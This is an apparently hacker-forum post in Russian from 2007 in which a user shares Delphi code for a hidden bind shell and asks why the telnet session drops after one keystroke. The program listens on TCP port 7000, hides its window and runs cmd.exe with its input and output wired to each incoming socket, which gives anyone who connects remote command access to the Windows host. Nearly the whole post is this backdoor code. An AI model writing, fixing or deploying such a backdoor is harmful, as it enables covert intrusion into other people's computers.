Показать сообщение отдельно

  #7  
Старый 03.10.2007, 20:31
_PARAZIT_
Новичок
Регистрация: 02.10.2007
Сообщений: 29
Провел на форуме:
40682

Репутация: 5
По умолчанию

исправил...
Код:
program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len);
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'cmd.exe',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
//closesocket(s_cln);
end;
closesocket(s_cln);

closesocket(s);
WSACleanup();
end.
при коннекте к нему как тока в телнете напишешь хоть одну букву сразу обрывается соединение...
closesocket(s_cln); ставил и в теле цикла и за ним - всеравно одно и то же...
 
Ответить с цитированием